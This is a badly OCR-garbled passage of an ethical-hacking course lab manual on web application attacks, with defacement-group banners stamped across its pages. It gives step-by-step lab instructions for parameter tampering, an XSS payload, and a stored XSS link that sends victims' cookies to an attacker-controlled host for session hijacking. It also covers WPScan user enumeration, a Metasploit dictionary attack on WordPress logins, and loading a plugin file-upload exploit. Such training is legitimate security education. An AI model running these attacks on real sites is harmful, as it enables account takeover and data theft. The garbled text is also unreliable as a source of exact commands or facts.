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k’é@aﬁaié‘:ﬁ Web Applications

Hacking web abplications refers to ganming snanthorized acess o a website or ity
ATORITEd TR,

Lab Scenano

A web apphication 15 a software application manmg on a web browser thar allows a
web nser to muhomit and retoeve dag to and from 1 datzbaze over the Internet or an
intraner The term &5 also sometimes nsed to zefer to a compner softeace
application coded m a browser-suppored programming lnpnape (snch as
JamaSerpe, combened with 2 hrowrsas-gendeced mardmp langnage ke HIWT) and
reliant on a common web boowser to sender the application exectable.

TWeb applcations are popular becanse of the nhiquity of web boovses and te
convemence of nang them as a client. The ahility to npdate and mzintain web
applications withont diseebnting and insalbne soffeae on potentally thomsands of
chient compnitess 15 3 key eason for their populanty, as 13 the nhersnt snppot for
cooss-platform compatibility. Common web applicanions melnde webomail, online
tetadl sales, anline anctions, wikss, and many others. With the wide adeption of web
applications as a1 cos-effectre chaonel for conwmmeanon and nformation
exchange, they have also become a maor amack vector for pamming access
ogpamzations’ infommanon systems. Web zppheation hacking 15 the explodaarion of
applications via HITP, by manipnlating the application logics via an application’s
graphueal weh interface, mpennge with the Unsform Resonsce Identifier (URI) or
HITP dlements not conmined in the URL Methods for hackng web applcations
age SQL imection attacks, cooss-site scxiptng (355), cross-ure sequest forgeries
(CSRF), insecnse comnnicatons, and others,
™ Teals In the last modnle, vou acted a5 an attacker and assessed the secnnty of 2 web serves
demenstrated in - plarfoom. MNowr, yon mill move to the nest and most inporanr, soee of secnory
this lab are assessment. As an expert Educal Hacker and Pen Tester, you need to test web
available in applicaton: for cross-ute scoptne vlnembdines cooke lnpckiop comoand
Cx\CER- myjection attacks, and then secuze web appheatons from such attacks. The labs in
g this modnle will gme yon hands-on experience of vanons web application amcks o

Medule 12 1 - ; : i
help you andit web applicanon secnrity m yonr organization.
Haeking Wek ] PP ol CLganE

Applicatins Lab Objectives
The objective of tdus lab i= o promde expert Enowledge of web application
ulnesahilities and attacks, such as:
* Pammeter tampesing
®  Cross-Site Scopong (X55)
" Stored X535
Username and Passoord Eommeration
Explosting WordPress Plugin Vilnembilities
Exploimng Remote Command Execnnon Vnlnerabdlity
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* Web Applicanion Anding Framework
*  Webste Vnlnembiliey Seanning
Lab
To carry oot ths Iab, yon will need:
® A computer maming Windows Server 2012
*  Windows Sesver 2005 mnning 35 a vumal machine
*  Windows 5.1 moomey 3= 3 momal machine
®  Fal Linre monmng as a virtmal machine
®  Aweb hrowser vath an Internet connecnon
Lab Duration

Tame: 105 hlumotes

Churarviowar ¥ WAl L orysll e,
Overview of Web Application

Web appheations promide an mterface berreen end nsers and web semrers thoongh a
et of web papes penemted at the server end or thar conmin scopt code to be
expcrted dynameally in 2 dient Web browser.

Lab Tasks

Recommended labs to sz von inweb appheation ane:

* Exploitng Parameter Tampering and X55 Vnlnembdites m Web
Applicanons

Usng Stered X55 Amack to Hijack an Authenticated User Session

Emmmeraring and Hacking a Web Appheanon Using WPSean and
Metaspleit

Exploinng WerdPress Plugin Viloemhlites naing Metaspleit

Exploiting Remete Command Execution Vilnershidiry o Compromise a
Tarpet Web Serrer

®  Anditing Web Application Famework Using w3aaf
v TWebsite Vilnembdity Scanning Tzine Asunetix WS
Lab Analysis

Amabyze and docnment the resmlts related to tuis lab exerase. Promide yons opinion
of yons target’s seenaity postre and exposnre.
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Lab

.«.w;gb web abplications enforce certain seondly polices, they are wwlwerable t
lr ik ar _'E,_,»J_ .-'a.',;vm:, {TOss-5ite KFBITNG, .:u,d.r.wsw beiackrng.

[ ———— D IS
ICOMN KEY i__.;zh':\.:g:u‘-ﬂ

£ Walnakile: Acconbing o OWASFP, the web paameter mmpenng attack refers to the
— :L'|.1.:I.I.'I.'|P1'IL’|E|.I.'IC of pammeter: exchansed berveen client and server w moddy

# Testrom application data, snch as nser credentials and pesmissions, the price and quantity of

— bowkde  peodoers, and so on Usoally, this mformation is stored m coolkdes, hidden form

felds, or URL guery stoops, and 12 nsed to increase applicanon Mmnctionabiny and

control Cross-site scnpting allows an attacker to embed malicions JaraSenpt,

L Worbock ceew ‘-‘BSLI.P’L; core’l, HIMT. or Flash mto a wlnershls dynamic page to tock the nser
o execnting the script, so that the attacker can gathes dat

= Web srarse

T“u.cmgr: ::11p1|=_r|.1:uer'T.u:ut 2 strict application secunty rontine, parsmetess, and mput
validanon can nuoimize pammeter ampenne and XS5 wlnersbibmes, ooy
webstes and web apphcations are sall vilnemble to these secnoty threats.

Andininy web applcanons for pamameter mmpenns and X55 i3 cne of the first steps
an attacker takes i attenyping to comprommse 3 web apphicaton’s secunty. As an
expert Etweal Hacker and Pen Tester, von shomld be zware of the different
parameter mpering and 355 methods thar can be employed by an attacker to hack
web zpplications. Tn thus lah, von vl leam howr to exploit paemeter tampening and
355 minerbdlines m web applicatons.
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Lab Ohjectives
The objective of this Iab 15 1o help smdents leam how o test web spphcatons for
Tilnessbibines.
In thes lab, yom wall pecfomm:
*  Pammeter ampenne attacks
Teals a : i -
e - Cross-srte senpting (K55 or C55)
this lab are
availakle in
D:\CEH- e g o .
Tools CEHYS Lak To carry out this lab, yon will nead-
Prereguisites Web *  MomieScope webute confignred dusng the lab setup
sites

Lab Environment

*  Windows Semer 2012 moning host machine (wicnm machsnes)

® Windews Server 2008 mnning 25 a virmal machine (atacker machomne)
*  Window: 5.1 mnnmy as a uomal machme (metm machne)

®  Ificrosoft SOL samrer 2012

A geb browser mih an Intermet connechion

| =bs Phar-=ts

Lab Duration

Teme: 15 Ahnmies

Rt E e 1 ol
Overview of the Lab

Thiz [ah demaonstreates howr 2n attacker can easily explodt pammeter mmpening and
355 artack to acces:s protected mformation and pedorm other makicions @sks.

Lab Tasks

Web pammeter tampenng atacks mvolre the mampnlanon of pammeters
exchanged beresn a dient and a server to modify application data snch as nser
credentals and permissions, prices, and prodner quantities.

In thus Iah, the nachsne hosting the websme 55 the mctim machsne, Windows Server
201Z; the machine nsed to perform the cross-ute senpting amack 15 the Windows
Server 2008 virtual ouachine
Log mto the Windews Server 2008 vimal machine
2. Lannch a web browser (Mdozilla Firefox), type
httpziwww.meviesespe.cem in the addwess bar, and press Enter.
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. MowmeScope home,lopin pape appears as showm in the sereenshor

Moviescope
|
Pauwd:_

Moviescope

o

oo SR
]

FIGILUAE LE Loggaggin o the weluge
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FIGILIRE L% Viewnig Predle in the kgl i acoue

Tou will be mdisected to the profile pape, which displays the personal
mnformation of john (here, o).

Featunsd Moste T fies

teom e Tl
oot
[rr—

FIGLURE 1.4 Jodui's prridle
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. Now, oy to change the pamameter to id=1 i the address bar, and press
Enter.

. You pet the profile for sam wathour having to pedoom aoy hackng
technicpes to explose the dambase.

[5:}

First Name: 5am

Last Name: houston

Email sam@abo.com

Gender: male

Date of Birth

a8

Washingtan DC

1-202-501-4452

FICGLRE L5 Prrdommiegs Parmnetes Tamperng
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10. Mowr, try the parameter id=3 in the address bar, and press Enter.

11. Yom get the profile for kety. This way, you can attempt to change the i
mmber and obtain wser profile mfnrmation

7 by ghe namsx

HE gl (55

Forst Kame:

Lkt Him

Ema efy®abe com

Guadsr: Tomabs

Dute of Sanh 26-01-7580
hga: ak]

Addresn

Cantact &;

FICATRE & Fesy's Pkl

12 This process of changing the ID value and getting the sesnlt 15 &
parameter tampering.

Webk cross-site seripting (K55 or C35) attacks esplosr wolnenblies n

dynamieally penscited web pages. This ensbles malicieus attackers to inject
client-side senpts into web pages Tiewed by other nzers.

13. MNowr, click the Contacts tab, which sedimects von to the Contact Us page
Here you mall be performme 555 attack

# Conmeste werptng
5N moa bppe oF comrpasher sty mrafils Fagtured Moste Trailer
sasnity vubserallity

syprcally founed = oweeds
spplicshonis, that erdiles
mredin s aheche
chiemt-mde st i

g veewnl Ty it
Lnera

FIGLME 17 Chohag Crarsact tah
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14 The Contact Us page appears; enter yonur pame {or any mndom mme) in
the Hame field, enter the cross ste scopt <seript>alert[™This website has
been hacked™ Fiserpt> i the Comment feld and cick Submit Comment.

FIGLTRE |LE: Perkmriorg v Seie Senphirgs

15. On thes page, vou ace testing for cross—=ite scripting wnlneabdry. Nowr,
refresh the page and click Centaets @b again As soon as you click the @b,
a pop-up appears on the page displapng 2 message that This website has
been hacked.

FIGURE 1% O Sehe syt stk exeaims|

16. Yon have soccezsflly added a malicious seript in this page. The comment
with mabicions Link 15 stered on the semer.

17. Log into Windews 8.1 virmal machine a3 3 farpet.
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18. Lannch 2 web boowser (Mdozilla Firef vpe the URL
hitpzhwaw.moviescope.com i th 53 bar, and press Enter.

19. MevieScope home,login page appears e that you are a Epistensd
user of the website and logmn to it nsing the followmg ntals:

Moviescope

S A Ee

T e LT
S == ik
L jl.I.L

Moviescope LA

vt Ly ; o L Famrarsd brae Tar
EF skl dd o HER a3l L !

Pross = paer gres baw

" -
Ve » y

FICAUIRE 111 { kg Comtucts Tah
CEH Lab Masual Fage 118 Ehial Hackdng and Countemsranses © by EE-Caumell
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21. As soon as you clhick the Centaets @b, the cooss-site senpt mnning on the
backend server 15 execnted, and a pop-up appears, staung, This website has
been hacked.

FIGURE 112 X556 detuck suczamchully perkmnn

22 Simnilardy, whenever a wser attemprs to vrat the Contacts page, the alert
PoRs up 33 so0n as the web page is loaded

1t Y

Amatyze and doonment the resales selated to this lab exemize. Promde yoor oprmon
of yous target’s secuity posture and exposare.

O Yes
Plarform Supported

1 Classroom
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Lab

Srored attacks are those in nbach the injected serpr i permanently stoved on a targer
servet, such as fn a diatabare, in g message | S, visttor log, or commeent feld The
wictiny rhen rewieves #he malicions sogpt from the server ’f.'Ji-’.l FEHETHING re W SrorRd
FHTBRAIION.

1 ab '3\,: anari

Stored cross-zte scripting atracks are persistent in that they reude on the fpet
server manl their existence 15 detected and removed When an Dng._mzaﬁm';
emp:cr"e:- nnlmomingly becomes wicnm o this senpt, atrackers pam the vicnm’s
sesuion 10 and thereby commandeer the menm’s ses ;:mnum::rm]sgmgma
the appleation

As an Edweal hacker or Penstration Tester, yon need to safepnard a website from
execunng such malicions scapts and theseby protect nser sessions from betng stolen.

Lab 'l..)”-i ctives

The chjectve of this lab is to help smdents lear how to test web applicatons for
wrlnembilines.
7 Teels In thiz lab, yon wall perfomm:
demanstrated in -
this lab are

availabkle in
D='CEH-
Tools'CEMVI Lab Ty ooy ot this b, von will need:
Prerequisites Web i ;
sites *  MowieScope wehate confignred dnang the lab setup
*  GoodShoppmne website confrionsed dunng the lab semp
¥ Windows Server 2012 host machine
*  Windows 81 vicmal moachine as an Aracker Madhne

Stowed cross-ute senpting:

ab Environment
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Install Firebug
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" Windows Secver 2006 womal machine as a Victum hackine
®  Microsoft SQL server 2012
' A geb browser wath an Internet connection

i b T ™
-~ Mard e
Lab Duration

Time: 15 Afnntes

Overview of the Lab

Web apphcations provide an mtedface between end nsers and web serrers throngh a
set of web papes thar ase penerated at the server end or thar contain senpt code to
be executed dynasucally within a chient web boowser.

(!

Lab Tasks

MNote: In thiz lab, assume that GoodShopping is the attackes’s website,

whose defanlr aspe webpage acts as the redirected page when a nser clicks

the stered X55 embedded malicions knk

1. Aszzume thar you are an atacker, 2nd log into the Windews 8.1 wirmal
machine.

. Lannch Firefor browser, thpe the URL hetps:/ /addons moeilla org/en-

S/ firefox /addon /firebng mn the address bar, and press Enter.

3. The Firsbup add-on webpage appears; click Add to Firefox

-t

" =

@‘ ADD-ONS

e

Vo0 00 Finafox add-ong. GF

Flraboy nrageates wirh Firefos b put @ wealr) alapmat T0alks ar y oo fngortips

mantinr C55, HTML, and JavaSeript Ive In

£ You can edH, debug, an

FICAIRE Z1: Maviggeing o Sl doswmiiad] poge
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4. The add-on besins to download, as shown in the screenshot

Wiks ofta 15 Fireton Sa8-65d

Fireti i

with Firafux poput o weakh of Sevelrposant took ar voor Angartps
i ean dit, debig, and monltar C55. HTHL, and JavaSerips Eve in

FIGLRE 22: Deramderadbng the add-on

5. On completion of the download, a Seftware Installation dilog-hox
appears; click Install New.

Software Installation ﬂ'

Install add-ons only from authors whom you trust.

You have asked o install the following kem:

Rrebug  (Autfor mod verified

httpsyy saddons.maozilla.orgdfirefog dosnicads Tatest/ 1843 ad don- 1 B43- labest xpifsTe=

Inskall Mo Cancel

FIGLIRE 23 Subroacs Fratalitie
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Belannch the zer, type hitpiiwww.meviessope.com m the

B rasx :
e AR address bar, and press Enter.

Embed the Stored : _
K55 Seript Behind 8. The MovieScope login home page appears, as shown in the sereenshor

a Link

Moviescope

Ussmmami

Pasyarad
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9. Logmto Mov ope 25 a nser, with the following credentials:
sername: steve

Password: test

1 MervieScane
10. You are logged in as a general . Note that you do oot have admi
poileges. i

11. Click on Bleg tab.

1 By taks
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12. The Blog page appears; sczoll down to the Leave a Comment section,
emter the following guery i the Comment field, and dick Submit
Camment.

<2
onchek="doenment location="lrp: / /10.0.0.2 / GoodShoppine Defanl
asprroocke="tTescape/domment coolee ;"  href="%"> Please click
here to wisik website < /2=

MNote: 10.0.0.2 i the IP address of the machine whese the webzite 1=
hosted i this lab ermironment. Yon need to replace thns IP address wnth
the IP addres= of the Windows Secver 2012 machine hosnnp the site.

-

keave a Comment

FIGURE 28: Festermy the Sismed XRS5 st i the wecoble Skl

13. A comment link 15 posted, stating “Please elick here te visit website™

-

FIGLRE 1% sormunent link $hat contens the scoml K55
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whenever a nser who ha ed mto the website wisits this

on the link the malcious senpt

] ctivated, and the nser will recerne 20 el in

onat specified at the time of setting up the GoodShoppine
website m the lab enmronment.

50, open 2 new tab, and log into the email account.

16. The email contains the ie mame dlong wath its valne

g. TASBK 3

Run the Stesed
55 Seript

e login /home page appears.
webzite a3 the admin nser, with the following credentials:
Username: sam

Password: test

Moviescope

Lssmame-|

Passwoid;

FICILRE L0k Lagring v MisvisSioopse
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21. As the admin mser, e that the web pape displays your role
(Bdmin) next to Logout. k on the Blog tah:

- W,
gk
jimiE.

Moviescope Y

Erat wokimat dide ar nuopes
Nionec =k amet s bnem
¥

e arranhully kyged m

ape appears in the browser wandow. Scroll dowm the
lease eliek here to visit website

5 [ icks the Lnk the malimous scopt

ed behnd the hnk is activated and an emadl i the sent to

s email [D fie, the ID you specified at the tme of
wehsite confipnration)

CEH Lab Muniim] Page 1155 Eshical Hacking sl ( uuzn-m.f-msm.-.q "I: :-;. EC-Cammell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not En0Ugh = """ RaCRRAMO-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! HaCkRhInO-TeaM !

Somy, This site is not availabe.

| Please click to go back

FIGILUTRE 2 1% Retumsng back s the jmevious page

FIGLIRE 214 Shoem! atack perioemnd

MNote: Do not log out of the websaite during this lab.
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25. Now, switch back to the Windews 8.1 (attacker’s) virmal machine, and

_ W vasx s open the email window. Ohserve an email in the mhox with the sohyect
Manipulate the Coekie Stealing, and open the email

User Session TN

Using Firckug e Mrneiorn e

-
-
-0 of L B3R
& Prorrcten EEEED)

1407 [

- oo
FIGLURE 2 1% Enwmil e e mibere unth the subijpet masned Coclor Sieabing

MNote: If vou do not find the email in the Inbox, refresh the pape once or
twice.

26. The emaill conmins 3 message displaping the cookie name and cockie
Talue together, as shown m the sereenshot:

d Hrn- Mewd:oon

g cs

Coakie Stealing

rimi Bnmall com

[NEST R R 5 i |

FIGURE 216 Cookie detiels st = the aral
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Mote: The co pame remamns constant, while the cookie value mighe
vary in your lab environment.

T ch to the MoweScope tab. INote that steve is 2 genenl nser,
not an adoin

ck the View Profile mh.

29, Observe that steve ile 15 displayed. MNow, click the Firebug icon ar
the top-nght corner of the browser window.

Fratuied Mavie Teaiban

Yo ".1‘“-_1_'
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30. The Firebug panel appears in the lower part of the window. Display the
Cookies tab, then click Enable.

MNote: If cookies are lready enabled skip to the next step
-

ol R
ik .
gimilm. %

Moviescope

5 i ] "

Cooldes Fanel is disabded

FIGURE 2.1 Viewnyg Creviies. aly

31. Alist of cookies 1= displayed, as in the screenshot:

JimiE:
_Moviescope

- Ceoles = R - 1 ALDNEL CO
[T Arknly
[+ mscass
v wi- a1

FIGLRE 13k Farelug pose] dhsgliying cocliss
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32. MNote that yoo need to change the coolee valee, the stams: of which (in

the Expires colnmn) is Session.

=il - L-
= gl
anmi

| Moviescope

b

[
.

FIGITRE 2. Craakat consdinig seamin

33. Right-click mseepe, and select Edit.

Grast Un mecops’ cookes
b C e Line

w el [ P

FIGILRE I 22 Fubf=yr the Cisles
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34. An Edit Coekie pop-up appears, as already stated, the cookie name
(mseope) remains constant for the webuate. Enter the cockse value thar
you recaqred in the email, and click OK

Edit Cookie m

[mecope |

Iz
V.

14 2 £ Of AdaN|)T [ Session

"-L‘.,dr-,‘-'.'.-'.rn;

LI URL encode value

|:I Secure Coolcie I: HTTP Only

QK : Cancel

FIGURE 2% Fulit Cokin poop-p

35. The cookie valne is chansed, as shown in the screenshot:

Misin & Mules
* murepr LA | o
* wi-tabs-1

FIGLIRE 124 Cedar vathas i
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36. Press F5 to mefresh the page, and then click B at the dghr edge of the
frre ans] to deactrrare the add-on

37. The nser name has chanoed to sam (admin) and jou have lopped oo
his on. Dhsplay the Wiew Profile tab.

Fagtumil Mok Tk

T

- o

FIGLRE 23 Sam's User sexain et
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38. sam’s profile is shown, as in the sereenshot:

' Moviescope

[ R

FIGLERE 2Z7: San's Pl

39, This immplies that you have implemented the stosed X355 antack
suecessfully hijacked the admin acconnt’s nser session, and logged into
it without any credentials.

. 50, whenever somecne vizits the Blog web page and clicks the link, their
corresponding session cookies are immedistely zent to the attacker’s
email I, and the attacker can wse the cookie values to gain
nnanthonzed access to cncently logged-in wicties” acconars.

[ ! M i =
ah Analveic
LAl ANAYSIS

Amabyze and doemment the resnlts mlated to this lab exercise. Prowmide your oprmon
of your tarpet’s seouity posme and exposnre.

O ¥es
Platform Supported
! Classtoom

CEH Lab Munim] Page 1163 Eshical Hackdng aull(kluuﬂrnnfunm .I' :lill\.rq,ljl!.l_' :-;. EC-Csmmell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Maduie V= My ¥ith Alphcations HaCkRhInO-TeaM !

Lab

WordPress 5 web sofbusre and @ comtent managessent systen (CVMS) your caw se fo
creare  webrte or bigg.

I =
| -
WPScan 15 a hlack-box WordPress malneablity scannes. It is 3 segnlar part of most
of penetmtion testers’ asseszment toolst. Accosding to Web Technolopy Snovers,
WordPress = nsed by 604% of all known content manapement system webaies,
and 23.5%: of all webstes WPScan provides grear help in assessing the secnary of
taspet orpamTations with WordPress wres.

ab Scenario

Lab Objectives
The objective of this lab 15 o help the smdsars leam how o
1 Enmmerate Users namg WP5can
b. Pedform dichonary attack to ezack passwrosds nang Metsploi

b T i p———— Y
Lab Cvironment

To pedioem this lab, you will need:
® A compmer maming Wandows Server 2012
*  Windows Secver 2008 mnmng a5 wrinal machine
®  Falh Linme monmg as viomal machme

Lab Duration

Tame: 10 Mhemtes
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attempt to gam
5 mu:h:nt *r-.JJ leamn how

:uld Tuj:ld 'ch- 0 pie seTice

115 Admin SErﬂ:e. :-m.i
click Stqp then opht-click Wur!d Wide We-b Publishing Service, and c

dmin sermice, if a Stop Other Services dmlog box

services will also stop, dick Yes.

= Click Start ar the lower lefi comer of the sczeen, and chick start
il f WampServer to linnch WampServer.

Start WampServer

in Windaws

Server 2008

';. St Fli R

B oo Froevas

FIGURE % |: Sty she Worsplerses
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Log i to the Kali Linux virnal machine.
Hrask 2 =

Lannch a3 command line terminal type the command wesean =—url
Enumerate httpz[IP Address of Windews Server 2008)/CEH —enumerate w and
Usermames. press Enter.

Note: In this lab, the I[P Address of Windews Server 2008 15 10.0.0.7,
which may vary 1 yonr lab enmronment:

rootflireet =

FIGLURE 1% Fenmnératng the Untmames
enmmerate the nsermames stosed o the website's
lays them as showmn in the sereenshot
roatiirest
“EH# Wi ~Co ME 8T 7 Fenes s Twen T y T T Teeny 61
TEET
1 reEs, pFGS Thanass Twant yrifteen
dafault thare 1s clean, blog-focused, and desioned far
taan

1% L Swordpress.anrg,

Enumeratirg plugles Tron passlve cetectlon

Mo pluglne found

IECITaneEs ...

FIGURE 3.% Ukemames Frarmerniad
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Biraus Mow that we have mnccessfully obtained the nsernames stored in the
database, we need to find their passow
Configure
the Options in 6. To obmin the p e shall |.}E' nsing an auxiliary module na.umd

Auxiliary Module

module.

To unse the werdpress_legin_enum :-111.51']-_1_'__7 module, we need to first
lananch oosfeonsole.

Homreres, we nesd to @
lnching the msfe

TCI staft P

10. To start the metasploi service, type serviee metaspleit start and press
Enter.

'.' fpc Garvar alrasdy started.
t wab servar al ‘-\.J.l started.
azplait warkar already started.
He -

11. Becanse we have started both the services, we shall oow lamnch
msfeonzale.

12. To lannch msfeonsole, type msfeensale and press Enter.

k & pati wlith Metasplolt Pro

77 muribiary=
7 [efid aldrs B
Proiiilal

FIGURE 3.5: Raunghegr e de
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on will nze the werdpress_legin_enum anziliary modnle.

T_v.'pe use auxiliaty/seannerhttpiwerdpress_legin_enum and press

Enter.
rootffiroet = 1

sry/scarnery httpfwa rdpras

FIGLRE i g the Aushory Mixhds

15. This modnle allows you to enumerate the login credentials.

18. To know all the options we can confipnre in this module, type show

eptions and press Enter.

T

17. You can wiew a kst of options that can be set for this module. Becanse

we want to obtain the password, we need to set the:

PASS_FILE: In this option, we will be setting the Passwerds.tut file
nzing winch; we will be performing the dictionary atack

. RHOSTS: In this opton, we will be seting the et machine 1o
Windews Server 2008 [P Adds

TARGETURI: In this option, we will be setting the base path to the
WordPress website ie., httpa[IP Address of Windows Server
2008)CEH.

USERNAME: In thiz option, we will be sethng the nsername thar
was obtained in the Step ne. 4.

E 5.7 Viewmy the Cphiona
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18. Trpe set PASS FILE irestWerdlists/Passwerds.txt and press Enter o
sot file contaimng the passwords.

19. Type set RHGSTS [IP Address of Windows Server 2008] and
Enter to set the target [P Address.

20. Type set TARGETURI htip:/[IP Address of Windows Server
2008YCEH/ and pres: Enter to set the base path to the WordPress
webate.

21. Type set USERMAME admin and press Enter to set the nsemame as
admin

Note: You may e any one of the nsernames that yoo have obtamed

during the enmmeration process. In, this lab, we ae issning the admin nser.

root@rook: =

Fe
I

T 22 Now, all the options ]J._a';_*f- been run and press
Enter to execute the anmiliary module.

Run the =
Auxiliary Medule rest@rant =

(CEH Lab M T | Eshical Hacking sml
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23. The amziliary modale begins bmte-force the logn credentials by

£ gwed niemame admin.

24, Once the rect password assocated with the nsecoame i3 found, the

madnle and displays the cracked passwosd, as shown i the

Suseemhally Crackedd
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25, Now, we thall nse the obmmed nsemzme-passwond combinaton 1o log
1t the WordPress website.

26. Lannch the leeweasel web hoowser, type hittpuIP Address of
Windows Server Z2008)YCEH wp-login.php in the address bar, and chek
Log In.

B EdR Miww  Hioary  febleah

CEH Duma Wekaiw + Log In

FLGLRE 3.12: Laoggnogs m #3 Wemnl{Presa Wieluohe

27. Youo should be ahle to snecessfully lop mnto the website, as shown in the
screenshot

Qumivaeard + OCH Dume Webie = &orePrass

FIGURE 343 L Suceiseih
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28. In the same way, you can follow the steps 18-22 and crack other nsers’
passwords associated (by setting another nsemname obtined during
enmmeration; e.g., “cehnsarl™).

29, Thns, vou have snccessfnlly esmmerated the nzemnames and cracked
thesr passwords.

O Yes
Platform Supported

[ Classroom
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Lab

= m

i -
Kl B
IaLjin

L] B r MmN g =
—T=] ray T e o e W =
ies Using Metasploit

WandPress or web sofinware and a comtent managensent sytens (CME) yose can age 7
creare a webite or lgg.

o O R R T :-\. ] % P 2op
T TS Lab Scenario

F=r “aluahils If yomr WordPress webste nzes a vnlnemble plogn, yow'se at sisk Smecessful
wfommog explostation of thi= bog conld lead to “blind SQL iyerton”™ amacks—an atracker
# Tast o comld grab sensitre information from fonr dambase, mdnding 2 nsemame. (hashed)
Enomisdge passwords and, i cermin confipnmtions, WordPress “secret keys™ (which conld
fesmilt in 3 total e mkeover). Anditing the seensity of WordPress and plngin: wall be
an importnt msk dunsng pone sernoty assessment and pen-testing asupnment. if
L] Wadbook review o orgamzation nses a WordPress metallation

= Wb emarce

Lab Objectives
The objectrve of this lab 15 to help stndents learn howr to
1 Ennmerate Plngns nung WPScan
b. Pecform exploitanon on WordPress Plugin

L | - —
Lab Environms

To pesform this lab, pon wll need:
" A compnter maning Windows Server 2012
*  Windows Server 2006 mnning as virmal machine
Fali Linmee mnnine as wiomal machine

wip_nmediawebsite file upload.d modnle located in DHCEH-Tools \CEHV
Medule 12 Hasking Web Applicatishs Metasplait Medules

Tame: 15 hhemites
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plostation formed on the voloeqbdiy fonnd 0 a
lr:nir:u.luﬂJ.rLah we thall be enmmedting all the pl
a.:’-:] an explott modnle to msfeonsole, and then explaoit
53 to the Grget machsne.

statue that other services will dso stop, click Yes.

Click Start button in the lower left of the screen, and then click start
WampServer in crder to lanneh WampServer.

GLURE 4 1 Startny the Warmpherns
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2 Logmto the Kali Linux virteal machine
Hrask 2 =

X 3. Lamnch 3 command lne terminal then sepvice postgresyl start
e and serviee metaspleit start commands to s vices

Installed Plugins

Tart
database sarwar! malr
(o) ABpLG1T STATrT
5 Matasploll rp< Server: pros
] Sta g Matasplodt w vers thin
1 Starting Matasplodt wo =

b

4 Letus enmmerate the plugins mnstalled on the WordP website.

5. Type the command wpsean —url hitpi[IP Address of Windews Server
2008)CEH —enumerate p and press Enter.

Note: In dus lab, the I[P Address of Windows Server 2008 15 10.0.0.7,

which may vary in your lab enmironment.

roabfiroet =

ns'akismat

1.3.4

webcite-contact-Toam-with-T

| = http: /10, BOA T CEH cantent /pluginsfwebsita-contect - form -with- fil
3-upload/ resdna.txt
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A plnga named website-tontact-formewith-file-upload. 1.3.4 has been
sdery ., H-Media Website Contact FPorm with File Upload

. Before exploming the wnlnerabiity, we first need to add an explom
modnle  (wp_nmediawebsite_file uploadrh) to  the metasplon
framewords, which will be nsed to break the wlnembilicy.

10. The exploit modnle is located at D:'CEH-Teols\CEHvE Madule 12
Hacking Web ApplicationsMetaspleit Modules. Lat n: copy this
module to Fali Linux machine throngh Samba share.

11. Dionhble-c Computer on the Deskiop.

12. The Computer window appears; sz Go on the menn bar, and select
Lasation....

CEH Lab Munis] Page 1178 Eshical Hacking sl ( uu.!rnn-fu.lml.-.-l = :-;. EC-Csmmell
HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not EnQUgR™ ™ """ AatRRAMD-TeaM !
wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Madule %5 Hadid With pfoations HaCkRhInO-TeaM !

13. Type smixi[IP address of Windews Server 2012] in the Go Te feld
and press Enter.

Note: In ts lab, the IP Address of Windews Server 2012 5 10.0.0.4,
which might vary in yonr lab environment.

Comg ubes
Edir b

Devices

S
FIGLTRE 4.7 Conpers Theingh Samba Soos

14. If prompted to enter credentials, trpe those of Windows Server
(Bdministrater, gqwerty@123), click Remember forever, aod
Connest.

4F

Disvicas

Camguts

K Homa

FIGEUTRE 4.k Connecs Theaugh Samin Sone
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15, A wmdow appears, displaying the CEH-Toels shared netwosk dove.
Windows shares on 10.0.0.4

Devices -

T

FIGURE &% CFEH-Tesds S Nk Do

16. Mow, navigate to CEM-Teols & CEHvY Medule 12 Hacking Web
Applizations - Metaspleit Medules, and COpY
wp_nmediawebsite_file_upload.rb.

Mietasploit Modiles !

Fila L

Davices ) Q) Search 1

Fidiiam rin - Lidabs
FICILTRE 4 Mk Ciprymy, Wioeddbsts Foller
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17. Go w the Desktep, click Places oo the mens bar, and select Home
Falder.

FIGLRE 4.1: Selecsiing Fone Fodder
18. Paste the wp_nmediawebsite file uploead.rb file in thes location.

Hiama
| G5 At

Devices

"
bt nmed g ezs leonplond i sstacel L0 ML
FICUIRE 4 |2 Pastings the Fis
19, MNow, we shall add this modnle to the metasplort framewode But before
downg so, we need to create a directosy in which to place this modnle.

20. The directory will be created in ~Lmsfdimeodules location So, let ns
first chanpe the present wordsing disectory to this location

2L T_TPE ed ~l.msfdmedules and press Enter.

roatffiroat =/ mefdimosules 1

FIGILRE 415 {oegnng Dirciuey
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22 Here, we will be creating a directory named “webapp™ in its parent
directory, “wndo which in turn will be located in “exploss ™

cit modnle wp_nmediawebsite_file upload.ds will be placed
mzide this directory.

type mhdir -p expleitsiwindowsiwebapp and peess Enter.
.. .—|-:h1.:—|.1 sules !
~#F cd = st dulas

famstdSmoc exf nkdir -p axplolts/windows webapp

FICURE 4.1 Crrsing 3 Dhiretory Stnacsum
creates the dic stmcture exploat: 3 windows - webapp.
ternminal.

26. Mow, we will be placing wp_nmediawebsite file_uplead.ak insude the
webapp directory, located in msfdimedulesexplaitsiwindews.

27. Lannch a new command-bine tecmmal, type
ep resthwp_nmediawebsite_file_upload.rs
~msfdmedulesexploitsiwindewsiwebapp and presz Enter.

roatfirest - " 1

This copees the nmediawebsite_file_upload.rs file in the root directory
1o ~.msfdimedulesienpleits/windewsiwebapp.

have snccessfully added the module to the metasplos

30. For the modnle to be npdated in the framework, you need 1o restart the
posteresql and metasplodt services.

31 Issne service postgresql restart and service metasploit restart
commands to testact the services.

FIGLIRE 4.1¢: Rrtur TVLES
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32. Type msfeenssle and press Enter to lannch the metasplost framewads

console.

rootflireet =

MM PN PN

T PP MMM
M RTINS CH PN N PPN PN
P PP A M P

let w3 nse the wp_nmediawebsite_file_upload explodt in the msf

console.

34 T_v.'pe use  expleitwindews/webappiwp_nmediawebsite_file_uplead
command and p Enter.

FUGLTRE £ 1R Uicng Fapleat

pe show eoptions and press Enter. This displays the options
iated with the explodt, as showmn in the screenshot
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setting the RHOST and TARGETURI optons,
= victim mackhine.

37. Trpe set RHOST [IP Address of Windows server 2008] and press
Enter to set the tarpet machine’s TP addn

38, Type set TARGETURI hitp:IP Address of Windows Server
